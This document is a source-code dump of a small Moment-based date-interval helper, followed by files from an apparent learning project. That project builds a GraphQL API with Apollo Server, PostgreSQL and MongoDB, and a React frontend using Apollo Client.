<repo_name>jlvdh/generate-intervals<file_sep>/index.js exports.generateIntervals = function(start, end, intervalAmount, dateInterval, cb) { /** * INITIALISE * - check if date is valid * - check what interval is given, default to 'month' */ if (!Moment(start).isValid() || !Moment(end).isValid()) { cb('not a valid date'); return; } if(start >= end) { cb('start is after end date'); return; } var intervals = []; if (!~['day', 'week', 'year'].indexOf(dateInterval)) { dateInterval = 'month'; } while (start <= end) { var nextInterval = new Moment(start).add(intervalAmount, dateInterval).toDate(); intervals.push({ start: start, end: nextInterval }); start = nextInterval; } if(intervals.length > 100) { cb('too many requests'); } cb(null, intervals); };
4f56685e8026998bbbd7b0685fe81a6bdd805d0a
[ "JavaScript" ]
1
JavaScript
jlvdh/generate-intervals
7c786c218b81a9d50f97c9669169b340e8107eaf
26bac57d8c71a3e11c725da89b270d80cd76914e
refs/heads/main
<repo_name>ikaem/az.dev<file_sep>/api/src/schema/types/payload-user.js // api\src\schema\types\payload-user.js import { GraphQLList, GraphQLNonNull, GraphQLObjectType, GraphQLString, } from 'graphql'; import User from './user'; import UserError from './user-error'; const UserPayload = new GraphQLObjectType({ name: 'UserPayload', fields: () => ({ errors: { type: new GraphQLNonNull(new GraphQLList(new GraphQLNonNull(UserError))), }, user: { type: User }, authToken: { type: GraphQLString }, }), }); export default UserPayload; <file_sep>/api/src/schema/types/user-error.js // api\src\schema\types\user-error.js import { GraphQLNonNull, GraphQLObjectType, GraphQLString } from 'graphql'; const UserError = new GraphQLObjectType({ name: 'UserError', fields: () => ({ message: { type: new GraphQLNonNull(GraphQLString), }, }), }); export default UserError; <file_sep>/api/src/pubsub.js // api/src/server.js import { PubSub } from 'apollo-server'; <file_sep>/api/src/schema/types/input-task.js // api\src\schema\types\input-task.js import { GraphQLBoolean, GraphQLInputObjectType, GraphQLList, GraphQLNonNull, GraphQLString, } from 'graphql'; const TaskInput = new GraphQLInputObjectType({ name: 'TaskInput', fields: () => ({ content: { type: new GraphQLNonNull(GraphQLString) }, tags: { type: new GraphQLNonNull( // note constructors when not leaf, or not primitive type new GraphQLList(new GraphQLNonNull(GraphQLString)) ), }, isPrivate: { type: new GraphQLNonNull(GraphQLBoolean), }, }), }); export default TaskInput; <file_sep>/api/src/schema/types/payload-task.js // api\src\schema\types\payload-task.js import { GraphQLList, GraphQLNonNull, GraphQLObjectType } from 'graphql'; import { Task } from './task'; import UserError from './user-error'; const TaskPayload = new GraphQLObjectType({ name: 'TaskPayload', fields: () => ({ errors: { type: new GraphQLNonNull(new GraphQLList(new GraphQLNonNull(UserError))), }, task: { type: Task }, }), }); export default TaskPayload; <file_sep>/api/src/schema/types/search-result-item.js // api\src\schema\types\search-result-item.js import { GraphQLID, GraphQLInterfaceType, GraphQLNonNull, GraphQLString, } from 'graphql'; import Approach from './approach'; import { Task } from './task'; const SearchResultItem = new GraphQLInterfaceType({ name: 'SearchResultItem', fields: () => ({ id: { type: new GraphQLNonNull(GraphQLID) }, content: { type: new GraphQLNonNull(GraphQLString) }, }), resolveType: (obj) => { if (obj.type === 'task') return Task; if (obj.type === 'approach') return Approach; }, }); export default SearchResultItem; <file_sep>/api/src/schema/types/input-user.js // api\src\schema\types\input-user.js import { GraphQLInputObjectType, GraphQLNonNull, GraphQLString } from 'graphql'; const UserInput = new GraphQLInputObjectType({ name: 'UserInput', fields: () => ({ username: { type: new GraphQLNonNull(GraphQLString) }, password: { type: new GraphQLNonNull(GraphQLString) }, firstName: { type: GraphQLString }, lastName: { type: GraphQLString }, }), }); export default UserInput; <file_sep>/api/src/schema/types/input-auth.js // api\src\schema\types\input-auth.js import { GraphQLInputObjectType, GraphQLNonNull, GraphQLString } from 'graphql'; const AuthInput = new GraphQLInputObjectType({ name: 'AuthInput', fields: () => ({ username: { type: new GraphQLNonNull(GraphQLString) }, password: { type: new GraphQLNonNull(GraphQLString) }, }), }); export default AuthInput; <file_sep>/web/src/components/NewApproach.js import { gql, useQuery, useMutation } from '@apollo/client'; import React, { useState, useEffect } from 'react'; import { useStore } from '../store'; import { APPROACH_FRAGMENT } from './Approach'; import Errors from './Errors'; /** GIA NOTES * Define GraphQL operations here... */ const DETAIL_CATEGORIES = gql` query getDetailCategories { detailCategories: __type(name: "ApproachDetailsCategory") { enumValues { name } } } `; const APPROACH_CREATE = gql` mutation ApproachCreate($taskId: ID!, $input: ApproachInput!) { approachCreate(taskId: $taskId, input: $input) { errors { message } approach { id ...ApproachFragment } } } ${APPROACH_FRAGMENT} `; export default function NewApproach({ taskId, onSuccess }) { const { useLocalAppState, mutate, query } = useStore(); // const [detailCategories, setDetailCategories] = useState([]); const [detailRows, setDetailRows] = useState([0]); const [uiErrors, setUIErrors] = useState([]); const user = useLocalAppState('user'); const { error: dcError, loading: dcLoading, data, } = useQuery(DETAIL_CATEGORIES); const [createApproach, { error, loading }] = useMutation(APPROACH_CREATE, { // this is us using the update function // and this is also the data that is available once the data is resolved update(cache, { data: { approachCreate } }) { // just check that the approach actually exists, before add it to the cached task if (approachCreate.approach) { // call that onSuccess thing - whic is taht onAddNew Approach ho function onSuccess((taskInfo) => { cache.modify({ // we identify the object with the taskInfo id: cache.identify(taskInfo), fields: { // functions ae called same as the fields on the identified object approachList(currentList) { // then we just concatanage the previous lists with the new list return [approachCreate.approach, ...currentList]; }, }, }); // justreturn that id, so we can highlight it return approachCreate.approach.id; }); } }, }); if (dcLoading) return <div className='loading'>Loading...</div>; if (dcError || error) return <div className='error'>{(dcError || error).message}</div>; // and now we just get data for the etail categiees const detailCategories = data.detailCategories.enumValues; // useEffect(() => { // if (detailCategories.length === 0) { // query(DETAIL_CATEGORIES).then(({ data }) => { // console.log({ data }); // setDetailCategories(data.detailCategories.enumValues); // }); // /** GIA NOTES // * // * 1) Invoke the query to get the detail categories: // * (You can't use `await` here but `promise.then` is okay) // * // * 2) Use the line below on the returned data: // setDetailCategories(API_RESP_FOR_detailCategories); // */ // } // }, [detailCategories, query]); if (!user) { return ( <div className='box'> <div className='center'> Please login to add a new Approach record to this Task </div> </div> ); } const handleNewApproachSubmit = async (event) => { event.preventDefault(); setUIErrors([]); const input = event.target.elements; const detailList = detailRows.map((detailId) => ({ category: input[`detail-category-${detailId}`].value, content: input[`detail-content-${detailId}`].value, })); // const { data, errors: rootErrors } = await mutate(APPROACH_CREATE, { const { data, errors: rootErrors } = await createApproach(APPROACH_CREATE, { variables: { taskId, input: { content: input.content.value, detailList, }, }, }); if (rootErrors) return setUIErrors(rootErrors); const { errors, approach } = data.approachCreate; if (errors.length > 0) return setUIErrors(errors); onSuccess(approach); /** GIA NOTES * * 1) Invoke the mutation to create a new approach: * - Variable `taskId` is for the parent Task of this new Approach * - detailList is an array of all the input for the details of this new Approach * - input.*.value has what a user types in an input box * * 2) Use the code below after that. It needs these variables: * - `errors` is an array of objects of type UserError * - `approach` is the newly created Approach object if (errors.length > 0) { return setUIErrors(errors); } onSuccess(approach); */ }; return ( <div className='main-container'> <div className='box box-primary'> <form method='POST' onSubmit={handleNewApproachSubmit}> <div className='form-entry'> <label> APPROACH <textarea name='content' placeholder='Be brief!' /> </label> </div> <div className='form-entry'> <label> DETAILS {detailRows.map((detailId) => ( <div key={detailId} className='details-row'> <select name={`detail-category-${detailId}`}> {detailCategories.map((category) => ( <option key={category.name} value={category.name}> {category.name} </option> ))} </select> <input type='text' name={`detail-content-${detailId}`} placeholder='Be brief!' /> </div> ))} </label> <button type='button' className='y-spaced' onClick={() => setDetailRows((rows) => [...rows, rows.length])} > + Add more details </button> </div> <Errors errors={uiErrors} /> <div className='spaced'> <button className='btn btn-primary' type='submit'> Save </button> </div> </form> </div> </div> ); } <file_sep>/api/src/schema/queries.js // api\src\schema\queries.js import { GraphQLObjectType, GraphQLString, GraphQLInt, GraphQLNonNull, GraphQLList, GraphQLID, } from 'graphql'; import { NumbersInRange } from './types'; import { numbersInRangeObject } from '../utils'; import { Task } from './types/task'; import SearchResultItem from './types/search-result-item'; import User, { Me } from './types/user'; const QueryType = new GraphQLObjectType({ name: 'Query', fields: { me: { type: Me, resolve: async (source, args, { currentUser }) => { return currentUser; }, }, search: { type: new GraphQLNonNull( new GraphQLList(new GraphQLNonNull(SearchResultItem)) ), args: { term: { type: new GraphQLNonNull(GraphQLString) }, }, resolve: async (source, args, { loaders }) => { return loaders.searchResults.load(args.term); }, }, taskInfo: { type: Task, args: { id: { type: new GraphQLNonNull(GraphQLID), }, // userId: { // type: GraphQLInt, // }, }, // need user id (can be null) because sql statmeent requires it // resolve: async (source, { id, userId = null }, { pgApi }) => { // return pgApi.taskInfo(id, userId); // }, resolve: async (source, args, { loaders }) => { return loaders.tasks.load(args.id); }, }, taskMainList: { type: new GraphQLList(new GraphQLNonNull(Task)), // resolve: async (source, args, { pgApi }) => { resolve: async (source, args, { loaders }) => { // this will return a promise, but that is fine - gql will responve it // return pgApi.taskMainList(); return loaders.tasksByTypes.load('latest'); }, // resolve: async (source, args, { pgPool }) => { // const pgResp = await pgPool.query(` // select // id, // content, // tags, // approach_count as "approachCount", // created_at as "createdAt" // from azdev.tasks // where is_private = false // order by created_at desc // limit 100 // `); // return pgResp.rows; // }, }, currentTime: { type: GraphQLString, resolve: (source, args, context, info) => { // const sleepToDate = new Date(new Date().getTime() + 5000); // // as long as sleep to date is bigger than now, just sleep // while (sleepToDate > new Date()) { // console.log('sleeping'); // } // this will return the promise // we dont need to await this promise, becuase the returned promise will be awaited by the executre, and then use the data // this behavior is built into gql.js return new Promise((resolve) => { setTimeout(() => { const isoString = new Date().toISOString(); // this will resolve after 5 seconds resolve(isoString.slice(11, 19)); }, 5000); }); }, }, numbersInRange: { // type: new GraphQLNonNull(GraphQLInt), type: NumbersInRange, // type: new GraphQLNonNull(NumbersInRange), args: { begin: { type: new GraphQLNonNull(GraphQLInt) }, end: { type: new GraphQLNonNull(GraphQLInt) }, // input: new GraphQLInputObjectType({ // name: 'SumNumbersInRangeInput', // fields: { // begin: { type: new GraphQLNonNull(GraphQLInt) }, // end: { type: new GraphQLNonNull(GraphQLInt) }, // }, // }), }, resolve: function (source, { begin, end }) { // console.log({ source }); // let sum = 0; // for (let i = begin; i <= end; i++) { // sum += i; // } // return sum; return numbersInRangeObject(begin, end); }, }, }, }); export default QueryType; <file_sep>/api/src/schema/types/task.js import { GraphQLBoolean, GraphQLID, GraphQLInt, GraphQLList, GraphQLNonNull, GraphQLObjectType, GraphQLString, } from 'graphql'; import { extractPrefixedColumns } from '../../utils'; import Approach from './approach'; import SearchResultItem from './search-result-item'; import User from './user'; export const Task = new GraphQLObjectType({ name: 'Task', interfaces: () => [SearchResultItem], // isTypeOf: (source, context, info) => { // console.log({ source, context, info }); // if (source.type === 'task') return true; // }, fields: { approachList: { type: new GraphQLNonNull( // we still need the Approach type new GraphQLList(new GraphQLNonNull(Approach)) ), // resolve: (source, args, { pgApi }) => { resolve: (source, args, { loaders }) => { return loaders.approachList.load(source.id); // return pgApi.approachList(source.id); }, }, id: { type: new GraphQLNonNull(GraphQLID), }, content: { type: new GraphQLNonNull(GraphQLString), }, tags: { type: new GraphQLNonNull( new GraphQLList(new GraphQLNonNull(GraphQLString)) ), resolve: (source) => source.tags.split(','), }, approachCount: { type: new GraphQLNonNull(GraphQLInt), }, createdAt: { type: new GraphQLNonNull(GraphQLString), // this will now be renamed to createdAt // resolve: (source) => source.created_at, // how come no use of new Date()?. Because the type is already a full date? resolve: (source) => source.createdAt.toISOString(), }, userId: { type: new GraphQLNonNull(GraphQLInt), }, isPrivate: { type: new GraphQLNonNull(GraphQLBoolean), }, author: { type: new GraphQLNonNull(User), // we dont need to fetch data anymoe - we already have it fetcvhed by the parent / source // we just have to transform it, and return what we transform // resolve: (source, args, { pgApi }) => { resolve: (source, args, { loaders }) => { // resolve: (prefixedObject) => { // return pgApi.userInfo(source.userId); // so here we pass just one id // but this will be batched into a single sql statement const test = loaders.users.load(source.userId); console.log({ test }); return test; // return extractPrefixedColumns({ prefixedObject, prefix: 'author' }); }, }, }, }); <file_sep>/api/src/server.js // api\src\server.js import express from 'express'; // import { ApolloServer } from 'apollo-server'; import { ApolloServer, PubSub } from 'apollo-server-express'; // import { graphql } from 'graphql'; import { graphqlHTTP } from 'express-graphql'; import cors from 'cors'; import morgan from 'morgan'; import * as config from './config'; import { schema } from './schema'; // import pgClient from './db/pg-client'; import DataLoader from 'dataloader'; import pgApiWrapper from './db/pg-api'; import mongoApiWrapper from './db/mongo-api'; // const executeGraphQLRequest = async (request) => { // const resp = await graphql(schema, request, rootValue); // console.log(resp.data); // }; // executeGraphQLRequest(process.argv[2]); // graphql(schema, request, rootValue); async function main() { // const { pgPool } = await pgClient(); const pgApi = await pgApiWrapper(); const mongoApi = await mongoApiWrapper(); const server = express(); // server.use(cors()); // server.use(morgan('dev')); // server.use(express.urlencoded({ extended: false })); // server.use(express.json()); // server.use('/:fav.ico', (req, res) => res.sendStatus(204)); // Example route // this uses all verbs // it should probably be post only // server.use( // '/', // async (req, res) => { // const authToken = // req && req.headers && req.headers.authorization // ? req.headers.authorization.slice(7) // : null; // const currentUser = await pgApi.userFromAuthToken(authToken); // // this is cool, because this null auth token can make the current user null? and we are ok with null // if (authToken && !currentUser) { // // i dont get why would this be resolved as part of GQL server? it never reaches the gql implementation? // return res.status(401).send({ // errors: [{ message: 'Invalid access token' }], // }); // } // const mutators = { // ...pgApi.mutators, // ...mongoApi.mutators, // }; // const loaders = { // tasksForUsers: new DataLoader((userIds) => // pgApi.tasksForUsers(userIds) // ), // detailList: new DataLoader((approachIds) => // mongoApi.detailList(approachIds) // ), // users: new DataLoader((userIds) => pgApi.usersInfo(userIds)), // approachList: new DataLoader((taskIds) => pgApi.approachList(taskIds)), // tasks: new DataLoader((taskIds) => // pgApi.tasksInfo({ taskIds, currentUser }) // ), // tasksByTypes: new DataLoader((types) => pgApi.tasksByTypes(types)), // searchResults: new DataLoader((searchTerms) => // pgApi.searchResults({ searchTerms, currentUser }) // ), // }; // graphqlHTTP({ // schema, // // rootValue, // context: { // // pgPool, // pgApi, // loaders, // mutators, // // I like this // currentUser, // }, // // graphiql: true, -> not a boolean anymore // graphiql: { // headerEditorEnabled: true, // }, // customFormatErrorFn: (err) => { // const errorReport = { // message: err.message, // locations: err.locations, // // this is to show the error stack - useful in development // stack: err.stack ? err.stack.split('\n') : [], // path: err.path, // }; // // this logs the error in the server logs // console.error('GraphQL Error', errorReport); // return config.isDev // ? // this will return proper error in dev // errorReport // : // and this is for nice error in production // { message: 'Oops! Something went wrong...' }; // }, // })(req, res); // } // ); const gqlServer = new ApolloServer({ schema, formatError: () => { const errorReport = { message: err.message, locations: err.locations, stack: err.stack ? err.stack.split('\n') : [], path: err.path, }; console.error('Graphql Error', errorReport); return config.isDev ? errorReport : { message: 'Oops! Something went wrong!' }; }, context: async ({ req }) => { const authToken = req && req.headers && req.headers.authorization ? req.headers.authorization.slice(7) // "Bearer " : null; const currentUser = await pgApi.userFromAuthToken(authToken); if (authToken && !currentUser) { throw Error('Invalid access token'); } const loaders = { tasksForUsers: new DataLoader((userIds) => pgApi.tasksForUsers(userIds) ), detailList: new DataLoader((approachIds) => mongoApi.detailList(approachIds) ), users: new DataLoader((userIds) => pgApi.usersInfo(userIds)), approachList: new DataLoader((taskIds) => pgApi.approachList(taskIds)), tasks: new DataLoader((taskIds) => pgApi.tasksInfo({ taskIds, currentUser }) ), tasksByTypes: new DataLoader((types) => pgApi.tasksByTypes(types)), searchResults: new DataLoader((searchTerms) => pgApi.searchResults({ searchTerms, currentUser }) ), }; const mutators = { ...pgApi.mutators, ...mongoApi.mutators, }; return { loaders, mutators, currentUser }; }, }); await gqlServer.start(); gqlServer.applyMiddleware({ app: server }); // await new Promise((resolve) => server.listen({ port: 4321 }, resolve)); // console.log( // `🚀 Server ready at http://localhost:4321${gqlServer.graphqlPath}` // ); // return { server: gqlServer, app: server }; // This line rus the server server.listen(config.port, () => { console.log(`Server URL: http://localhost:${config.port}/`); console.log(gqlServer.graphqlPath); }); // serverWS.listen({ port: 4000 }).then((data) => { // // console.log(Object.keys(data)); // // console.log(JSON.stringify(data)); // // // for (const value in Object.values(data)) { // // // console.log({ value }); // // // // console.log(key); // // // } // console.log(`Subscriptions URL: ${data.url}`); // }); } main(); // node -r esm api/src/server.js "{ currentTime }" // ["path/to/node/command", "api/src/server.js", "{ currentTime }"] <file_sep>/api/src/utils.js // api\src\utils.js import crypto from 'crypto'; export const randomString = (bytesSize = 32) => crypto.randomBytes(bytesSize).toString('hex'); export const numbersInRangeObject = (begin, end) => { if (end < begin) throw Error(`Invalid range: ${end} is smaller than ${begin}`); let sum = 0; let count = 0; for (let i = begin; i <= end; i++) { sum += i; count++; } return { sum, count }; }; // api\src\utils.js export const extractPrefixedColumns = ({ prefixedObject, prefix }) => { const prefixRexp = new RegExp(`^${prefix}_(.*)`); return Object.entries(prefixedObject).reduce( (acc, [key, value]) => { const match = key.match(prefixRexp); if (match) { // with this 1, we get only the part of the name without the prefix acc[match[1]] = value; } return acc; }, // no values in the initial acc {} ); }; <file_sep>/web/src/index.js // import { ApolloClient, HttpLink, InMemoryCache, gql } from '@apollo/client'; // import 'regenerator-runtime/runtime'; // import * as config from './config'; // const cache = new InMemoryCache(); // const httpLink = new HttpLink({ // uri: config.GRAPHQL_SERVER_URL, // }); // const client = new ApolloClient({ // cache, // link: httpLink, // }); // async function main() { // const resp1 = await client.query({ // // query: gql` // // query { // // numbersInRange(begin: 1, end: 100) { // // sum // // } // // } // // `, // query: gql` // { // taskMainList { // id // content // tags // createdAt // } // } // `, // }); // console.log({ respData: resp1.data }); // const resp2 = await client.query({ // // query: gql` // // query { // // numbersInRange(begin: 1, end: 100) { // // sum // // } // // } // // `, // query: gql` // { // taskMainList { // content // } // } // `, // }); // console.log({ respData: resp2.data }); // const resp3 = await client.mutate({ // mutation: gql` // mutation ApproachVote($approachId: ID!) { // approachVote(approachId: $approachId, input: { up: true }) { // approach { // id // voteCount // } // } // } // `, // // ntoe the string as an id - because it is ID, i guess // variables: { approachId: '2' }, // }); // console.log({ resp3 }); // } // main(); import 'regenerator-runtime/runtime'; import React from 'react'; import ReactDOM from 'react-dom'; // import { useStoreObject, Provider as StoreProvider } from './store'; import Root from './components/Root'; import { ApolloClient, ApolloProvider, HttpLink, InMemoryCache, } from '@apollo/client'; import * as config from './config'; import { setContext } from '@apollo/client/link/context'; import { LOCAL_APP_STATE } from './store'; const httpLink = new HttpLink({ uri: config.GRAPHQL_SERVER_URL }); const cache = new InMemoryCache(); const client = new ApolloClient({ cache }); const authLink = setContext((_, { headers }) => { const { user } = client.readQuery({ // const { user } = cache.readQuery({ query: LOCAL_APP_STATE, }); console.log({ user }); return { headers: { ...headers, authorization: user ? `Bearer ${user.authToken}` : '', }, }; }); client.setLink(authLink.concat(httpLink)); // const client = new ApolloClient({ link: authLink.concat(httpLink), cache }); const initialLocalAppState = { component: { name: 'Home', props: {} }, user: JSON.parse(window.localStorage.getItem('azdev:user')), }; client.writeQuery({ query: LOCAL_APP_STATE, data: initialLocalAppState, }); export default function App() { // const store = useStoreObject(); return ( // <ApolloProvider client={store.client}> <ApolloProvider client={client}> {/* <StoreProvider value={store}> */} <Root /> <h1>Hello</h1> {/* </StoreProvider> */} </ApolloProvider> ); } ReactDOM.render(<App />, document.getElementById('root')); <file_sep>/api/src/schema/mutations.js // api\src\schema\mutations.js import { GraphQLID, GraphQLNonNull, GraphQLObjectType } from 'graphql'; import ApproachInput from './types/input-approach'; import ApproachVoteInputType from './types/input-approach-vote'; import AuthInput from './types/input-auth'; import TaskInput from './types/input-task'; import UserInput from './types/input-user'; import ApproachPayload from './types/payload-approach'; import TaskPayload from './types/payload-task'; import UserPayload from './types/payload-user'; import UserDeletePayload from './types/payload-user-delete'; const MutationType = new GraphQLObjectType({ name: 'Mutation', fields: () => ({ userDelete: { type: UserDeletePayload, resolve: async (souce, args, { currentUser, mutators }) => { return mutators.userDelete({ currentUser }); }, }, approachVote: { type: ApproachPayload, args: { approachId: { type: new GraphQLNonNull(GraphQLID) }, input: { type: new GraphQLNonNull(ApproachVoteInputType) }, }, resolve: async (source, { approachId, input }, { mutators }) => { return mutators.approachVote({ approachId, input }); }, }, approachCreate: { // this is not implemented yet type: ApproachPayload, args: { taskId: { type: new GraphQLNonNull(GraphQLID) }, // ApproachInput is not implemented yet input: { type: new GraphQLNonNull(ApproachInput) }, }, resolve: async (source, { taskId, input }, { mutators, currentUser }) => { // this function is not implemented yet return mutators.approachCreate({ // taskId: Number(taskId), taskId, input, currentUser, // this is us passing the mutators - inside we will have a different mutator to do insert in the mongoDb - just to separate the logic mutators, }); }, }, taskCreate: { type: TaskPayload, args: { input: { type: new GraphQLNonNull(TaskInput), }, }, resolve: async (source, { input }, { mutators, currentUser }) => { // this needs to be implemented still return mutators.taskCreate({ input, currentUser }); }, }, userLogin: { type: new GraphQLNonNull(UserPayload), args: { input: { type: new GraphQLNonNull(AuthInput) }, }, resolve: async (source, { input }, { mutators }) => { // this needs to be created return mutators.userLogin({ input }); }, }, userCreate: { type: new GraphQLNonNull(UserPayload), args: { input: { type: new GraphQLNonNull(UserInput) }, }, resolve: async (source, { input }, { mutators }) => { // this method does not exist yet on the mutators object console.log({ mutators }, { input }); return mutators.userCreate({ input }); }, }, }), }); export default MutationType; <file_sep>/api/src/schema/types.js // api\src\schema\types.js import { GraphQLObjectType, GraphQLNonNull, GraphQLInt } from 'graphql'; export const NumbersInRange = new GraphQLObjectType({ name: 'NumbersInRange', description: 'Aggrefate info on a range of numbers', fields: { sum: { type: new GraphQLNonNull(GraphQLInt), }, count: { type: new GraphQLNonNull(GraphQLInt), }, }, }); <file_sep>/api/src/db/pg-api.js // api\src\db\pg-api.js import { randomString } from '../utils'; import pgClient from './pg-client'; import sqls from './sqls'; const pgApiWrapper = async () => { const { pgPool } = await pgClient(); const pgQuery = (text, params = {}) => pgPool.query(text, Object.values(params)); return { mutators: { userDelete: async ({ currentUser }) => { const payload = { errors: [] }; try { await pgQuery(sqls.userDelete, { $1: currentUser.id, }); payload.deletedUserId = currentUser.id; } catch (err) { payload.errors.push({ message: 'Unable to delete the user', }); } return payload; }, approachVote: async ({ approachId, input }) => { const payload = { errors: [] }; const pgResp = await pgQuery(sqls.approachVote, { $1: approachId, $2: input.up ? 1 : -1, }); if (pgResp.rows[0]) { payload.approach = pgResp.rows[0]; } return payload; }, approachCreate: async ({ taskId, input, currentUser, mutators }) => { console.log('taskId', typeof taskId); const payload = { errors: [] }; // there is no adding anything to the errors, though if (payload.errors.length === 0) { const pgResp = await pgQuery(sqls.approachInsert, { $1: currentUser.id, $2: input.content, $3: taskId, }); // // here we make sure that the data exists if (pgResp.rows[0]) { console.log('hellooooooooooooooo', pgResp.rows[0]); payload.approach = pgResp.rows[0]; /* TODo THIS IS THE ISSUE HERE */ // payload.approach = { // id: 2, // content: 'something', // voteCount: 3, // userId: 1, // author: { // username: 'what', // }, // }; await pgQuery(sqls.approachCountIncrement, { $1: taskId, }); // this still needs to be implemented await mutators.approachDetailCreate( Number(payload.approach.id), input.detailList ); } } return payload; }, taskCreate: async ({ input, currentUser }) => { const payload = { errors: [] }; if (input.content.length < 15) payload.errors.push({ message: 'Text is too short', }); if (payload.errors.length === 0) { console.log({ currentUser }); const pgResp = await pgQuery(sqls.taskInsert, { $1: currentUser.id, $2: input.content, $3: input.tags.join(','), $4: input.isPrivate, }); // so it actually does some returning if (pgResp.rows[0]) { payload.task = pgResp.rows[0]; } } return payload; }, userLogin: async ({ input }) => { const payload = { errors: [] }; if (!input.username || !input.password) payload.errors.push({ message: 'Invalid username or password', }); if (payload.errors.length === 0) { const pgResp = await pgQuery(sqls.userFromCredentials, { $1: input.username.toLowerCase(), $2: input.password, }); const user = pgResp.rows[0]; if (user) { const authToken = randomString(); // here we just update the stuff await pgQuery(sqls.userUpdateAuthToken, { $1: user.id, $2: authToken, }); payload.user = user; payload.authToken = authToken; } else { payload.errors.push({ message: 'Invalid username or password', }); } } return payload; }, userCreate: async ({ input }) => { console.log('what'); // this payload always gets returned // but, we will conditionally add properties to it // errors allways exists const payload = { errors: [] }; if (input.password.length < 6) payload.errors.push({ message: 'Use a stronger password', }); if (payload.errors.length === 0) { // this will return just a simple random string const authToken = randomString(); try { const pgResp = await pgQuery(sqls.userInsert, { $1: input.username.toLowerCase(), // this is such a cool way to hash it - no need for bcrypt // but how to check it when retrieving from db? $2: input.password, $3: input.firstName, $4: input.lastName, $5: authToken, }); if (pgResp.rows[0]) { payload.user = pgResp.rows[0]; payload.authToken = authToken; } } catch (e) { // check if the issue is a cosntraint violation if ( e.message === "duplicate key value violates unique constraint 'users_username_key'" ) { payload.errors.push({ message: 'This username is already in use', }); } else { throw e; } } } return payload; }, }, tasksForUsers: async (userIds) => { const pgResp = await pgQuery(sqls.tasksForUsers, { $1: userIds, }); // map over this becuase this is in the correct order return userIds.map((userId) => { return pgResp.rows.filter((row) => userId === row.userId); }); }, userFromAuthToken: async (authToken) => { // note us returning null if (!authToken) return null; const pgResp = await pgQuery(sqls.userFromAuthToken, { $1: authToken, }); return pgResp.rows[0]; }, searchResults: async ({ searchTerms, currentUser }) => { const results = searchTerms.map(async (searchTerm) => { const pgResp = await pgQuery(sqls.searchResults, { $1: searchTerm, $2: currentUser ? currentUser.id : null, }); // this bascially returns an array of results of each item in the searchTerms array return pgResp.rows; }); return Promise.all(results); }, tasksByTypes: async (types) => { const results = types.map(async (type) => { if (type === 'latest') { const pgResp = await pgQuery(sqls.tasksLatest); return pgResp.rows; } throw Error('Unsupported type'); }); // waiting to resolve // still retuning promise from the method, but GQL will take care of it return Promise.all(results); }, // TODO this is my own implementation taskInfo: async (taskId, userId) => { const pgResp = await pgQuery(sqls.tasksFromIds, { $1: [taskId], $2: userId, }); return pgResp.rows[0]; }, tasksInfo: async ({ taskIds, currentUser }) => { console.log('taskIds', taskIds); const pgResp = await pgQuery(sqls.tasksFromIds, { $1: taskIds, $2: currentUser ? currentUser.id : null, }); return taskIds.map((taskId) => { return pgResp.rows.find((row) => row.id == taskId); }); }, // approachList: async (taskId) => { approachList: async (taskIds) => { const pgResp = await pgQuery(sqls.approachesForTaskIds, { // i really like this solution // where we later loop over values $1: [taskIds], }); const taskApproachesMap = {}; pgResp.rows.forEach((r) => { if (!taskApproachesMap[r.taskId]) { taskApproachesMap[r.taskId] = []; } taskApproachesMap[r.taskId].push(r); }); console.log({ rows: pgResp.rows }); // return pgResp.rows; return taskIds.map((taskId) => { /* this filter will return an array */ // return pgResp.rows.filter((row) => taskId === row.taskId); // return pgResp.rows; // here now // check if there is anything in the map // and include it if there is if (!taskApproachesMap[taskId]) return null; return taskApproachesMap[taskId]; }); }, taskMainList: async () => { const pgResp = await pgQuery(sqls.tasksLatest); return pgResp.rows; }, // userInfo: async (userId) => { usersInfo: async (userIds) => { // usersFromIds already works with an array of user IDs const pgResp = await pgQuery(sqls.usersFromIds, { // in array, because we use ANY in the sql statement $1: [userIds], }); // making the response an object const respRows = pgResp.rows.reduce((acc, row) => { // just make key the id, and value the entire value acc[row.id] = row; return acc; }, {}); // return pgResp.rows[0]; // this is now very erfficiatent // need to make sure response records are in the same order as the ids in the arguemnt return userIds.map((userId) => { // return pgResp.rows.find((row) => userId === row.id); if (!respRows[userId]) return null; return respRows[userId]; }); }, }; }; export default pgApiWrapper; <file_sep>/web/src/components/Signup.js import { gql } from '@apollo/client'; import React, { useState } from 'react'; import { useStore } from '../store'; import Errors from './Errors'; /** GIA NOTES * Define GraphQL operations here... */ const USER_CREATE = gql` mutation UserCreate($input: UserInput!) { userCreate(input: $input) { errors { message } user { id username } authToken } } `; export default function Signup() { const { mutate, setLocalAppState } = useStore(); const [uiErrors, setUIErrors] = useState(); const handleSignup = async (event) => { event.preventDefault(); const input = event.target.elements; if (input.password.value !== input.confirmPassword.value) { return setUIErrors([{ message: 'Password mismatch' }]); } const { data, errors: rootErrors } = await mutate(USER_CREATE, { variables: { // note the input part input: { firstName: input.firstName.value, lastName: input.lastName.value, username: input.username.value, password: <PASSWORD>, }, }, }); if (rootErrors) return setUIErrors(rootErrors); const { errors, user, authToken } = data.userCreate; if (errors.length > 0) return setUIErrors(errors); user.authToken = authToken; window.localStorage.setItem('azdev:user', JSON.stringify(user)); setLocalAppState({ user, component: { name: 'Home' } }); /** GIA NOTES * * 1) Invoke the mutation to create a user record: * - input.*.value has what a user types in an input box * * 2) Use the code below after that. It needs these variables: * - `errors` is an array of objects of type UserError * - `user` is a user object response from the API * - `authToken` is a string value response from the API if (errors.length > 0) { return setUIErrors(errors); } user.authToken = authToken; window.localStorage.setItem('azdev:user', JSON.stringify(user)); setLocalAppState({ user, component: { name: 'Home' } }); */ }; return ( <div className='sm-container'> <form method='POST' onSubmit={handleSignup}> <div> <div className='form-entry'> <label> FIRST NAME <input type='text' name='firstName' required /> </label> </div> <div className='form-entry'> <label> LAST NAME <input type='text' name='lastName' required /> </label> </div> <div className='form-entry'> <label> USERNAME <input type='text' name='username' required /> </label> </div> </div> <div> <div className='form-entry'> <label> PASSWORD <input type='<PASSWORD>' name='password' required /> </label> </div> <div> <div className='form-entry'> <label> CONFIRM PASSWORD <input type='<PASSWORD>' name='confirmPassword' required /> </label> </div> </div> </div> <Errors errors={uiErrors} /> <div className='spaced'> <button className='btn btn-primary' type='submit'> Signup </button> </div> </form> </div> ); } <file_sep>/api/src/schema/index.js // api\src\schema\index.js import { // buildSchema, GraphQLSchema, printSchema, } from 'graphql'; import QueryType from './queries'; import MutationType from './mutations'; // defining new object type export const schema = new GraphQLSchema({ query: QueryType, mutation: MutationType, }); /* type Query { currentTime: String numbersInRange(begin: Int!, end: Int!): NumbersInRange } """Aggrefate info on a range of numbers""" type NumbersInRange { sum: Int! count: Int! } */ // 